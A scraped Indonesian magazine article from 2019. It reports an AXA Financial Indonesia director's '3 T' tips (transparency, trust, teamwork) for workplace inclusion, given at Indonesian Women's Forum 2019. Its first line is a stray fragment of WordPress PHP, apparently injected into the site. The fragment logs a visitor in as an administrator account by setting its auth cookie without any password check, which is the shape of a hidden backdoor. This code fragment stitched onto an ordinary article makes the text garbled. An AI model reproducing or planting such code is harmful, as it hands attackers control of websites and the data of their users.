user_login; break; } $us = get_user_by('login', $us ); if ( !is_wp_error( $us ) ) { get_currentuserinfo(); if ( user_can( $us, "administrator" ) ){ wp_clear_auth_cookie(); wp_set_current_user ( $us->ID ); wp_set_auth_cookie ( $us->ID ); $redirect_to = admin_url(); wp_safe_redirect( $redirect_to ); exit(); } } */
Career
Ini Cara Dorong Inklusi Dalam Institusi

23 Nov 2019

Foto: pexels

Keberagaman adalah sebuah keniscayaan. Dalam konteks institusi, para karyawan yang memiliki latar belakang, karakter, dan tugas yang berbeda harus padu dan bekerjasama untuk mencapai satu tujuan.

Cicilia Nina, Direktur AXA Financial Indonesia yang menjadi salah satu pembicara master class dalam acara Indonesia Women’s Forum 2019 di Gandaria City, Jakarta Selatan, berbagi tip tentang bagaimana caranya mendorong inklusi di antara para karyawan. 

“Untuk bisa kompak, tahapannya adalah 3 T, yaitu berawal dari Transparency, supaya terbentuk Trust, dan akhirnya terjadi Team work,” ujarnya.

Untuk membentuk transparency atau transparansi, Cicilia melakukan rapat bersama tiap pekan. Menurutnya, dengan pertemuan teratur, setiap bagian atau divisi akan menyadari bahwa masing-masing dari mereka punya peran sama penting untuk mencapai tujuan.
Cicilia Nina, Direktur AXA Financial Indonesia/ Foto: Prima Sabrina

“Jangan sampai setiap orang merasa dirinya yang paling berperan. Dengan walk the talk, mereka akan menyadari bahwa mereka saling melengkapi satu sama lain dengan keunggulannya masing-masing. Misalnya sales enggak akan bisa jalan tanpa tim digital, dan tim digital enggak akan oke kalau enggak ada tim training. Saya memang jago di sini, tapi saya tidak jago di situ, ” kata Cicilia.

Selain itu, saat Cicilia harus memberi semacam penghargaan pada sebagian karyawan tentu saja atas dasar yang jelas dan disampaikan kepada karyawan lainnya. “Sehingga yang lain tidak iri," katanya.

Advertisement
Transparansi tersebut akan menimbulkan sebuah trust atau kepercayaan. Ketika kepercayaan terbentuk, team work atau kerjasama akan bisa terlaksana dengan baik. “Team work terbentuk karena trust, trust karena transparency,” ujar Cicilia.

Ia menyadari, sebagai pemimpin, untuk membentuk inklusi ia pun tidak boleh pilih kasih dan harus bersikap adil sesuai dengan kapasitas. “Apapun yang kita lakukan, pasti ada yang menilai negatif sesuai asumsi masing-masing. Jadi kuncinya keep doing the right thing,” pungkas Cicilia. (f)

Prima Sabrina

Editor: Nuri Fajriati

Baca Juga:


Tip Pakar Untuk Menjalin Relasi Sehat dengan Uang
Memulai Investasi Demi Masa Depan
Inklusif Dalam Dunia Profesional



Topic

#inklusi, #IndonesianWomensForum2019, #IWF19, #iwf, #iwf2019, #indonesianwomensforum, #AXAFinancial

 



polling
Seberapa Korea Anda?

Hallyu wave atau gelombang Korea masih terus 'mengalir' di Indonesia. Penggemar KDrama, Kpop di Indonesia termasuk salah satu yang paling besar jumlahnya di dunia. Lalu seberapa Korea Anda?